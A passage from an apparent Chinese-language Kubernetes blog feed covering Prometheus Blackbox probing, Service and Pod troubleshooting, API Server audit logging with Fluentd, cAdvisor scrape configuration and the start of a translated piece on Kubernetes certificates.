&lt;p&gt;首先需要运行一个 Blackbox 的 Deployment，并利用 Configmap 来为 Blackbox 提供配置文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
data:
  config.yml: |
    modules:
      http_2xx:  # http 检测模块
        prober: http
        http:
      http_post_2xx: # http post 模块
        prober: http
        http:
          method: POST
      tcp_connect: # tcp 检测模块
        prober: tcp
      dns:  # dns 检测模块
        prober: dns
        dns:
          transport_protocol: &amp;quot;tcp&amp;quot;
          preferred_ip_protocol: &amp;quot;ip4&amp;quot;
          query_name: &amp;quot;kubernetes.default.svc.cloud.ctrm&amp;quot;  # 利用这个域名来检查 dns 服务器
          query_type: &amp;quot;A&amp;quot;  # 如果是 kube-dns ，一定要加入这个
kind: ConfigMap
metadata:
  name: blackbox
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: blackbox
spec:
  template:
    metadata:
      labels:
        name: blackbox
    spec:
      containers:
      - image: prom/blackbox-exporter:v0.8.1
        name: blackbox
        ports:
        - containerPort: 9115
        volumeMounts:
        - name: config
          mountPath: /etc/blackbox_exporter
        args:
        - --config.file=/etc/blackbox_exporter/config.yml # Configmap 中的配置文件
        - --log.level=error  # 错误级别控制
      volumes:
      - name: config
        configMap:
          name: blackbox
---
apiVersion: v1
kind: Service
metadata:
  name: blackbox
spec:
  selector:
    name: blackbox
  ports:
  - port: 80
    targetPort: 9115
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用 &lt;code&gt;kubectl apply&lt;/code&gt; 命令运行起来。&lt;/p&gt;

&lt;p&gt;接下来需要在 Prometheus 的配置文件中加入对 BlackBox 的抓取设置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- job_name: &amp;quot;kubernetes-service-dns&amp;quot;
  metrics_path: /probe # 不是 metrics，是 probe
  params:
    module: [dns] # DNS 模块
  static_configs:
  - targets:
    - kube-dns:53 # 不要省略端口号
  relabel_configs:
  - source_labels: [__address__]
    target_label: __param_target
  - source_labels: [__param_target]
    target_label: instance
  - target_label: __address__
    replacement: blackbox # 服务地址，和上面的 Service 定义保持一致
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;重启 Prometheus，或者利用 curl Post 更新配置。打开 Prometheus 的 Target 页面，就会看到
上面定义的 &lt;code&gt;kubernetes-service-dns&lt;/code&gt; 任务了，回到 Graph 页面，可以使用
&lt;code&gt;probe_success{job=&amp;quot;kubernetes-service-dns&amp;quot;}&lt;/code&gt; 来查看检测历史结果。&lt;/p&gt;

&lt;h2 id=&#34;http-监控&#34;&gt;HTTP 监控&lt;/h2&gt;

&lt;p&gt;上面的配置文件中提到有一个 &lt;code&gt;http_2xx&lt;/code&gt; 的模块，这里我们可以使用他对 http 服务进行检测。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这里主要是对不受我们控制的外部服务的快速检测。
内部的方法就丰富多了。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;因为前面已经给 Blackbox 配置了 http_2xx 模块，所以这里只需要在 Prometheus 中加入抓取任务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- job_name: &amp;quot;business-service-liveness&amp;quot;
  metrics_path: /probe
  params:
    module: [http_2xx]
  static_configs:
  - targets:
    - http://192.168.51.129:30001 # 要检查的网址
    - http://192.168.51.129:30004
    - http://192.168.51.129:30003
  relabel_configs:
  - source_labels: [__address__]
    target_label: __param_target
  - source_labels: [__param_target]
    target_label: instance
  - target_label: __address__
    replacement: blackbox-exporter:9115
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;同样的，重新载入之后，可以使用 &lt;code&gt;probe_success&lt;/code&gt; 和 &lt;code&gt;probe_duration_seconds&lt;/code&gt; 等来检查历史结果。&lt;/p&gt;

&lt;h2 id=&#34;自带-metrics-端点的服务&#34;&gt;自带 metrics 端点的服务&lt;/h2&gt;

&lt;p&gt;有的服务，例如 &lt;code&gt;prometheus&lt;/code&gt; 或者 &lt;code&gt;blackbox&lt;/code&gt;，以及 &lt;code&gt;kube-dns&lt;/code&gt;、&lt;code&gt;etcd&lt;/code&gt; 等，
都是自有 &lt;code&gt;/metrics&lt;/code&gt; 提供指标输出的，这种服务对 Blackbox + Prometheus 组合是非常方便的。&lt;/p&gt;

&lt;p&gt;只要给服务的注解部分加入几个标签：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;prometheus.io/host: calico-etcd # 服务名称
prometheus.io/port: &amp;quot;6666&amp;quot; # metrics 端口
prometheus.io/scrape: &amp;quot;true&amp;quot; # 抓取开关
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面是 calico 的 etcd 服务加入的注解，服务中有了上述注解之后，Prometheus 的示例配置中，已经
有了针对这一配置的监控方法，直接刷新 Target 页面，就会看到新的监控目标，可以进行使用了。而无需
为每个服务分别定制 Target。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/prometheus/prometheus/blob/master/documentation/examples/prometheus-kubernetes.yml&#34; target=&#34;_blank&#34;&gt;https://github.com/prometheus/prometheus/blob/master/documentation/examples/prometheus-kubernetes.yml&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 应用故障的一些定位方法</title>
      <link>/post/debug-in-kubernetes/</link>
      <pubDate>Tue, 05 Sep 2017 06:03:04 +0800</pubDate>
      <guid>/post/debug-in-kubernetes/</guid>
      <description>

&lt;h2 id=&#34;常备工作&#34;&gt;常备工作&lt;/h2&gt;

&lt;h3 id=&#34;准备一个工具镜像&#34;&gt;准备一个工具镜像&lt;/h3&gt;

&lt;p&gt;其中包含 nslookup, ping, curl, 甚至是 ab、siege 等常用工具以及一个顺手的 Shell。一言不合就可以用静态 Pod 的方式将其运行到 Kubernetes 之中进行内部诊断。&lt;/p&gt;

&lt;h3 id=&#34;sysctl-a-grep-forwarding&#34;&gt;sysctl -a | grep forwarding&lt;/h3&gt;

&lt;p&gt;你猜这是干啥的？&lt;/p&gt;

&lt;h3 id=&#34;服务状态查询&#34;&gt;服务状态查询&lt;/h3&gt;

&lt;p&gt;各个 Kubernetes 组件的状态检查。可以使用 Ansible 之类的工具进行快速查询。&lt;/p&gt;

&lt;h2 id=&#34;service-不通&#34;&gt;Service 不通&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;这里我们首先假设 Pod 工作正常&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;目前我们的应用均采用的是 NodePort 模式对外提供服务：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;逻辑&lt;/strong&gt;：Service 将 &lt;strong&gt;符合其选择器的 Pod 暴露的端口&lt;/strong&gt; 从 &lt;strong&gt;各个 Node&lt;/strong&gt; 的同一端口暴露出来对外进行监听。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;技术&lt;/strong&gt;：&lt;strong&gt;Kube-proxy&lt;/strong&gt; 通过网络插件，一般利用 Iptables vxLan 等乌七八糟的蜜汁技术，完成对外服务负载均衡，并分发给各个 Pod 的内部 IP 的相应端口。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;前面我们假设 Pod 是正常工作的，因此，这里只考虑 Service 的情况。&lt;/p&gt;

&lt;p&gt;通过上面的陈述我们能看到大致的一些要素，下面从内向外进行列表：&lt;/p&gt;

&lt;h3 id=&#34;pod-能够正常工作&#34;&gt;Pod 能够正常工作&lt;/h3&gt;

&lt;p&gt;见后文&lt;/p&gt;

&lt;h3 id=&#34;service-的选择器能够正确的找到-pod&#34;&gt;Service 的选择器能够正确的找到 Pod&lt;/h3&gt;

&lt;p&gt;这里我们可以使用&lt;code&gt;kubectl describe svc panic-service&lt;/code&gt;命令，查看输出内容的&lt;code&gt;endpoint&lt;/code&gt;一节内容，如果其中有 Pod 地址，也就说明选择器和 Pod 的标签是匹配的。如果为空，则需要对服务或者 Pod Controller 的定义进行排查。&lt;/p&gt;

&lt;h3 id=&#34;proxy-的工作状态&#34;&gt;Proxy 的工作状态&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;首先可以使用&lt;code&gt;systemctl -l Kube-proxy&lt;/code&gt;来查看服务状况。&lt;/li&gt;
&lt;li&gt;还可以使用其他 Node 的同一端口测试访问，看是否单一节点的故障。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;dns-工作状态&#34;&gt;DNS 工作状态&lt;/h3&gt;

&lt;p&gt;Kubectl 查看 DNS 各个 Pod 的存活状态。&lt;/p&gt;

&lt;p&gt;利用上面提到的工具 Pod 尝试解析服务。失败了其实也没啥办法，删 DNS Pod 重启吧。&lt;/p&gt;

&lt;h3 id=&#34;端口是否定义正确&#34;&gt;端口是否定义正确&lt;/h3&gt;

&lt;p&gt;看 Pod 的端口是否能够正确侦听，是否符合服务定义。例如 Service 定义了到 Pod 8080 端口的访问，而 Pod 开放的却是 80，这样的情况跟标签无法匹配一样，是很常见的问题。&lt;/p&gt;

&lt;h2 id=&#34;说完了服务-我们来说说-pod&#34;&gt;说完了服务，我们来说说 Pod&lt;/h2&gt;

&lt;h3 id=&#34;两个顺手的命令&#34;&gt;两个顺手的命令：&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;kubectl get po -o wide | grep -v Running&lt;/code&gt;
 &lt;code&gt;kubectl describe po unhealthy&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;一般来说，一个行为端正的 Pod，应该是以 Running 状态持续运行的。在进入 Running 之前，大致有调度、创建、初始化等几个环节，如果正常运行之后出了故障，会发生重启。如果在启动容器内进程时出现问题，则会进入 CrashLoopBackOff 的状态。&lt;/p&gt;

&lt;h3 id=&#34;除了-running-complet-以及-crashloopbackoff&#34;&gt;除了 Running/Complet 以及 CrashLoopBackOff：&lt;/h3&gt;

&lt;p&gt;这几种情况其实不同，不过随性写到这，就不深究了，首先是 describe 一下。&lt;/p&gt;

&lt;p&gt;Pod 启动有几个条件：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;有符合要求的节点供其运行

&lt;ul&gt;
&lt;li&gt;Taint 隔离的节点，要求 Pod 有显式声明对该种 Taint 的容错能力，才可以在其上运行。&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;节点和 Pod 的亲和性定义&lt;/li&gt;
&lt;li&gt;Node Selector 的定义&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;符合其需求的资源

&lt;ul&gt;
&lt;li&gt;CPU 和 内存的 request limit 定义&lt;/li&gt;
&lt;li&gt;可能存在的第三方资源需求定义&lt;/li&gt;
&lt;li&gt;加载卷（nfs gluster ceph 等）/Secret/Configmap 的定义&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;镜像必须存在，可 Pull&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;调度部分一般来说查看 Pod 定义，和节点的 Describe 进行匹配即可，Describe 内容中也会明确说出无合适 Pod。&lt;/p&gt;

&lt;p&gt;资源部分 CPU 和内存的 Describe 结果也会很明显。&lt;/p&gt;

&lt;p&gt;存储部分，往往就需要更复杂的排查：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;首先看看是不是每个 Node 都如此。&lt;/li&gt;
&lt;li&gt;是否安装了对应的客户端驱动。&lt;/li&gt;
&lt;li&gt;对分布式存储的访问网络是否可用。&lt;/li&gt;
&lt;li&gt;存储服务容量是否足够分配。&lt;/li&gt;
&lt;li&gt;是否能够成功的手工 Mount。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;至于对 ConfigMap 和 Secret 的依赖，很简单，Kubectl 查询即可。&lt;/p&gt;

&lt;h3 id=&#34;crashloopbackoff-以及-restart-大于-1&#34;&gt;CrashLoopBackOff 以及 Restart 大于 1&lt;/h3&gt;

&lt;p&gt;这种情况一般来说属于业务内部的问题，可以通过 &lt;code&gt;kubectl logs -f ...&lt;/code&gt;
命令进行查看，目前经验比较多的非业务情况是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;对于 Kubernetes API 进行访问的应用，经常会是因为 RBAC 权限不足导致无法启动&lt;/li&gt;
&lt;li&gt;依赖的 Service 无法访问。&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 的审计日志和采集</title>
      <link>/post/auditlog-in-k8s/</link>
      <pubDate>Thu, 31 Aug 2017 01:35:22 +0800</pubDate>
      <guid>/post/auditlog-in-k8s/</guid>
      <description>

&lt;h2 id=&#34;基础操作&#34;&gt;基础操作&lt;/h2&gt;

&lt;p&gt;一个正常运行的 Kubernetes 集群，除了利用访问控制对集群操作的许可进行限制之外，对于操作过程的跟踪审计也是比不可少的，围绕不同的实体，例如用户、节点以及各种工作负载进行观测是很有必要的。Kubernetes 的 API Server 提供了审计日志支持，利用审计日志的方式对系统内的操作进行记录，这里我们可以沿用推荐的 Elastic Search + Fluentd 对审计日志进行采集存储，最终使用 Kibana 或者其他支持 ES 查询的工具对关键资源或用户进行访问跟踪。&lt;/p&gt;

&lt;p&gt;首先要启用 API Server 的审计功能。Kubernetes 提供了四个基础参数来定义审计功能：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;audit-log-path&lt;/strong&gt; 启用审计日志，并将日志内容写入指定文件，“-” 代表 stdout。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;audit-log-maxage&lt;/strong&gt; 日志文件的最大保存天数，根据文件名中的日期进行确定。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;audit-log-maxbackup&lt;/strong&gt; 最多保存日志文件的数量。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;audit-log-maxsize&lt;/strong&gt; 最大文件尺寸，超过尺寸会被翻转。单位是 MB，缺省为 100MB。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;--audit-log-path=/var/log/kubernetes/kubernetes.audit \
--audit-log-maxage=7 \
--audit-log-maxbackup=4 \
--audit-log-maxsize=10
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在 Kubernetes API Server 的启动参数中加入这些开关之后，重新启动服务。&lt;/p&gt;

&lt;p&gt;这时我们就可以看到文件&lt;code&gt;/var/log/kubernetes/kubernetes.audit&lt;/code&gt;已经生成。利用 tail 命令看看他的结构和内容，例如请求内容是这样的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;2017-08-30T16:28:35.485818099+08:00 AUDIT: id=&amp;quot;ebc47b7b-c4fe-4a9a-861c-d9686903cec4&amp;quot; ip=&amp;quot;127.0.0.1&amp;quot; method=&amp;quot;GET&amp;quot; user=&amp;quot;system:apiserver&amp;quot; groups=&amp;quot;\&amp;quot;system:masters\&amp;quot;&amp;quot; as=&amp;quot;&amp;lt;self&amp;gt;&amp;quot; asgroups=&amp;quot;&amp;lt;lookup&amp;gt;&amp;quot; namespace=&amp;quot;&amp;lt;none&amp;gt;&amp;quot; uri=&amp;quot;/apis/admissionregistration.k8s.io/v1alpha1/initializerconfigurations&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;而响应内容格式如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;2017-08-30T16:28:35.486131325+08:00 AUDIT: id=&amp;quot;ebc47b7b-c4fe-4a9a-861c-d9686903cec4&amp;quot; response=&amp;quot;404&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们本文中暂时只对请求内容进行进一步解析，响应内容可以通过加入第二格式的方式进行采集。内容中的&lt;code&gt;id&lt;/code&gt;字段，可以看作是会话 id，用于连接请求和响应。&lt;/p&gt;

&lt;p&gt;根据上述文本内容，可以开始 Fluentd 文件的编写。请求和响应的内容都很规则，简单的正则表达式即可完成解析，例如我写的是这样的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;&amp;lt;source&amp;gt;
  type tail
  format /^(?&amp;lt;time&amp;gt;\d.*?)\s+(?&amp;lt;action&amp;gt;\w+).\s+id=\&amp;quot;(?&amp;lt;id&amp;gt;.*?)\&amp;quot;\s+ip=\&amp;quot;(?&amp;lt;ip&amp;gt;.*?)\&amp;quot;\s+method=\&amp;quot;(?&amp;lt;method&amp;gt;.*?)\&amp;quot;\s+user=\&amp;quot;(?&amp;lt;user&amp;gt;.*?)\&amp;quot;\s+groups=(?&amp;lt;groups&amp;gt;.*?)\s+as=\&amp;quot;(?&amp;lt;as&amp;gt;.*?)\&amp;quot;\s+asgroups=\&amp;quot;(?&amp;lt;asgroups&amp;gt;.*?)\&amp;quot;\s+namespace=\&amp;quot;(?&amp;lt;namespace&amp;gt;.*?)\&amp;quot;\s+uri=\&amp;quot;(?&amp;lt;uri&amp;gt;.*?)\&amp;quot;$/
  path /var/log/kubernetes/kubernetes.audit
  pos_file /var/log/audit.pos
  time_format %Y-%m-%dT%H:%M:%S.%N%z
  tag audit.response
&amp;lt;/source&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;将这一部分内容加入到 Fluentd 配置之中去，启动抓取。日志入库之后，我们就可以对指定用户或者资源进行查询，获知他的黑历史了，例如我们要查找用户&lt;code&gt;admin&lt;/code&gt;的操作历史：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;query&amp;quot;: {
    &amp;quot;match&amp;quot;: {
      &amp;quot;user&amp;quot;: {
        &amp;quot;query&amp;quot;: &amp;quot;admin&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;phrase&amp;quot;
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在 Kibana 中执行查询，会看到类似内容（如果所在集群没有该用户，可以替换为 &lt;code&gt;system:apiserver&lt;/code&gt;等内置用户进行测试）：&lt;/p&gt;

&lt;p&gt;利用解析出的各个字段，可以比较清楚的看到什么人，在什么时间，对什么对象进行了什么操作。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/audit-screenshot.jpg&#34; alt=&#34;screenshot&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;高级审计&#34;&gt;高级审计&lt;/h2&gt;

&lt;p&gt;在 Kubernetes 1.7 中新增了 Advanced audit 特性（Alpha），可以对审计内容、以及后续处理进行定义。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;首先加入了审计策略的支持，可以使用行为，动作等条件进行限制，过滤掉无需考虑的审计内容。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;存储后端在日志之外，还增加了 Web Hook 的支持，可以直接将审计内容发布到指定的 Web 服务中。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 1.7 下的 Prometheus 监控</title>
      <link>/post/prometheus-in-k8s-1.7/</link>
      <pubDate>Mon, 28 Aug 2017 01:59:06 +0800</pubDate>
      <guid>/post/prometheus-in-k8s-1.7/</guid>
      <description>

&lt;p&gt;在 Kubernetes 的标准 Heapster + InfluxDB 的监控方案之外，还有一个监控工具就是 Prometheus 了，相比 InfluxDB 来说，Prometheus 有更集中的检测能力，更多的 Exporter（数据源）支持（不过好像还是打不过 Zabbix？），以及更新潮。。&lt;/p&gt;

&lt;p&gt;另外不少新的软件方案缺省开始支持 Prometheus 的数据抓取，所以，早上早填坑。下面是日前在一个 Kubernetes 1.7.3 集群中部署 Prometheus 监控遇到的两个坑，分享一下：&lt;/p&gt;

&lt;h2 id=&#34;cadvisor&#34;&gt;cAdvisor&lt;/h2&gt;

&lt;p&gt;官方示例解释如下：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This is required for Kubernetes 1.7.3 and later, where cAdvisor metrics
(those whose names begin with &amp;lsquo;container_&amp;lsquo;) have been removed from the
Kubelet metrics endpoint.  This job scrapes the cAdvisor endpoint to
retrieve those metrics.&lt;/p&gt;

&lt;p&gt;In Kubernetes 1.7.0-1.7.2, these metrics are only exposed on the cAdvisor
HTTP endpoint; use &amp;ldquo;replacement: /api/v1/nodes/${1}:4194/proxy/metrics&amp;rdquo;
in that case (and ensure cAdvisor&amp;rsquo;s HTTP server hasn&amp;rsquo;t been disabled with
the &amp;ndash;cadvisor-port=0 Kubelet flag).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;在 Kubernetes 1.7.3 和后续版本中，命名前缀为&lt;code&gt;container_&lt;/code&gt; 的 cAdvisor 指标被从 Kubelet
中移除，这一个 Job 从 cAdvisor 端点中抓取数据。&lt;/p&gt;

&lt;p&gt;在 Kubernetes 1.7.0 - 1.7.2 中，这些指标只暴露在 cAdvisor 的 http 端点中，需要使用
&lt;code&gt;eplacement: /api/v1/nodes/${1}:4194/proxy/metrics&lt;/code&gt;。（注意保证 cAdvisor 的 http
服务没有被&lt;code&gt;--cadvisor-port=0&lt;/code&gt;禁用）。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- job_name: &#39;kubernetes-cadvisor&#39;
  scheme: https
  tls_config:
    ca_file: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
  bearer_token_file: /var/run/secrets/kubernetes.io/serviceaccount/token
  kubernetes_sd_configs:
  - role: node
  relabel_configs:
  - action: labelmap
    regex: __meta_kubernetes_node_label_(.+)
  - target_label: __address__
    replacement: kubernetes.default.svc:443
  - source_labels: [__meta_kubernetes_node_name]
    regex: (.+)
    target_label: __metrics_path__
    replacement: /api/v1/nodes/${1}/proxy/metrics/cadvisor
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;kube-state-metrics&#34;&gt;kube-state-metrics&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;https://github.com/kubernetes/kube-state-metrics&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;网址就能看出，这一服务和 Kubernetes 有点亲密。运行之后，能够为 Prometheus 提供大量详细指标，
而且这一服务的指标相对来说更具逻辑性，更方便从服务/应用的角度进行监控。&lt;/p&gt;

&lt;p&gt;目前容器地址为(不过能 pull 到最新的 v1.0.0，可能是 README 没有同步)：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gcr.io/google_containers/kube-state-metrics:v0.5.0&lt;/code&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 的证书认证</title>
      <link>/post/certs-in-kubernetes/</link>
      <pubDate>Wed, 16 Aug 2017 04:28:26 +0800</pubDate>
      <guid>/post/certs-in-kubernetes/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://jvns.ca/blog/2017/08/05/how-kubernetes-certificates-work/&#34; target=&#34;_blank&#34;&gt;How Kubernetes certificate authorities work&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;今天让我们聊聊 Kubernetes 的公私钥和证书认证。&lt;/p&gt;

&lt;p&gt;本文内容会提及如何根据需要对 CA、公私钥进行组织并对集群进行设置。&lt;/p&gt;

&lt;p&gt;Kubernetes 的组件中有很多不同的地方可以放置证书之类的东西。在进行集群安装的时候，我感觉有一百多亿个不同的命令参数是用来设置证书、密钥的，真不明白是怎么弄到一起工作的。&lt;/p&gt;

&lt;p&gt;当然了，没有一百亿那么多的参数，不过的确很多的。比如 API Server 的参数吧，有大概 16 个参数是跟这些东西有关的（下面是节选）：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;--cert-dir string                           The directory where the TLS certs are located. If --tls-cert-file and --tls-private-key-file are provided, this flag will be ignored. (default &amp;quot;/var/run/kubernetes&amp;quot;)
--client-ca-file string                     If set, any request presenting a client certificate signed by one of the authorities in the client-ca-file is authenticated with an identity corresponding to the CommonName of the client certificate.
--etcd-certfile string                      SSL certification file used to secure etcd communication.
--etcd-keyfile string                       SSL key file used to secure etcd communication.
--kubelet-certificate-authority string      Path to a cert file for the certificate authority.
--kubelet-client-certificate string         Path to a client cert file for TLS.
--kubelet-client-key string                 Path to a client key file for TLS.
--proxy-client-cert-file string             Client certificate used to prove the identity of the aggregator or kube-apiserver when it must call out during a request. This includes proxying requests to a user api-server and calling out to webhook admission plugins. It is expected that this cert includes a signature from the CA in the --requestheader-client-ca-file flag. That CA is published in the &#39;extension-apiserver-authentication&#39; configmap in the kube-system namespace. Components recieving calls from kube-aggregator should use that CA to perform their half of the mutual TLS verification.
--proxy-client-key-file string              Private key for the client certificate used to prove the identity of the aggregator or kube-apiserver when it must call out during a request. This includes proxying requests to a user api-server and calling out to webhook admission plugins.
--requestheader-allowed-names stringSlice   List of client certificate common names to allow to provide usernames in headers specified by --requestheader-username-headers. If empty, any client certificate validated by the authorities in --requestheader-client-ca-file is allowed.
--requestheader-client-ca-file string       Root certificate bundle to use to verify client certificates on incoming requests before trusting usernames in headers specified by --requestheader-username-headers
--service-account-key-file stringArray      File containing PEM-encoded x509 RSA or ECDSA private or public keys, used to verify ServiceAccount tokens. If unspecified, --tls-private-key-file is used. The specified file can contain multiple keys, and the flag can be specified multiple times with different files.
--ssh-keyfile string                        If non-empty, use secure SSH proxy to the nodes, using this user keyfile
--tls-ca-file string                        If set, this certificate authority will used for secure access from Admission Controllers. This must be a valid PEM-encoded CA bundle. Alternatively, the certificate authority can be appended to the certificate provided by --tls-cert-file.
--tls-cert-file string                      File containing the default x509 Certificate for HTTPS. (CA cert, if any, concatenated after server cert). If HTTPS serving is enabled, and --tls-cert-file and --tls-private-key-file are not provided, a self-signed certificate and key are generated for the public address and saved to /var/run/kubernetes.
--tls-private-key-file string               File containing the default x509 private key matching --tls-cert-file.
--tls-sni-cert-key namedCertKey             A pair of x509 certificate and private key file paths, optionally suffixed with a list of domain patterns which are fully qualified domain names, possibly with prefixed wildcard segments. If no domain patterns are provided, the names of the certificate are extracted. Non-wildcard matches trump over wildcard matches, explicit domain patterns trump over extracted names. For multiple key/certificate pairs, use the --tls-sni-cert-key multiple times. Examples: &amp;quot;example.crt,example.key&amp;quot; or &amp;quot;foo.crt,foo.key:*.foo.com,foo.com&amp;quot;. (default [])
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来是 Controller Manager 的：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;--cluster-signing-cert-file string          Filename containing a PEM-encoded X509 CA certificate used to issue cluster-scoped certificates (default &amp;quot;/etc/kubernetes/ca/ca.pem&amp;quot;)
--cluster-signing-key-file string           Filename containing a PEM-encoded RSA or ECDSA private key used to sign cluster-scoped certificates (default &amp;quot;/etc/kubernetes/ca/ca.key&amp;quot;)
--root-ca-file string                       If set, this root certificate authority will be included in service account&#39;s token secret. This must be a valid PEM-encoded CA bundle.
--service-account-private-key-file string   Filename containing a PEM-encoded private RSA or ECDSA key used to sign service account tokens.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再来个 Kubelet：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;--client-ca-file string                   If set, any request presenting a client certificate signed by one of the authorities in the client-ca-file is authenticated with an identity corresponding to the CommonName of the client certificate.
--tls-cert-file string                    File containing x509 Certificate used for serving HTTPS (with intermediate certs, if any, concatenated after server cert). If --tls-cert-file and --tls-private-key-file are not provided, a self-signed certificate and key are generated for the public address and saved to the directory passed to --cert-dir.
--tls-private-key-file string             File containing x509 private key matching --tls-cert-file.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;本文假设读者：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;对 TLS 认证和 CA 有一些了解。&lt;/li&gt;
&lt;li&gt;能把这些东西跑起来，但是不知道为啥。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;下面还会说明在 Kubernetes 中的不同 CA，以及不同 CA 的协同工作。&lt;/p&gt;

&lt;p&gt;另外有些我在工作中学到的一些：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;不要用 CA 来检查 Service Account Key。Service Account key 有点古怪，他跟其他的 Key 不是一同处理的。&lt;/li&gt;
&lt;li&gt;如果 kubernetes 建立用户和组的方式不适合需求，可以（应该）设置一个认证代理。&lt;/li&gt;
&lt;li&gt;API Server 如果设置了太多 CA，会显得有点乱。&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;这个题目有点复杂，如果阅读中发现任何问题请通知我。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;pki-和-kubernetes&#34;&gt;PKI 和 Kubernetes&lt;/h2&gt;

&lt;p&gt;在阅读 Kubernetes 材料的过程中，我注意到一个词出现了很多次：“PKI”，我不很清楚这是个什么。&lt;/p&gt;

&lt;p&gt;如果你有个在运行的 Kubernetes 集群，其中可能有几百上千个公钥私钥（客户端认证、服务认证等等）。&lt;/p&gt;

&lt;p&gt;如果这几百个 Key 是独立的互不相关的，就会让安全性堕入泥潭。因此我们需要个 CA，CA 的职责就是签发证书，并告诉用户“这个公钥是我发的，靠谱”。&lt;/p&gt;

&lt;p&gt;PKI 就是组织 Key 的方式 —— 什么 Key 是用什么 CA 签发的。&lt;/p&gt;

&lt;p&gt;例如：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;可以为每个集群准备一个 CA，集群所有的私钥都从这个 CA 签发（Kubernetes 文档中多数是这个情况）。&lt;/li&gt;
&lt;li&gt;可以准备一个全局 CA，所有的私钥都从此而来。&lt;/li&gt;
&lt;li&gt;单独给服务使用一个 CA，对外可见；内部另外使用一个 CA 作为专门用途。&lt;/li&gt;
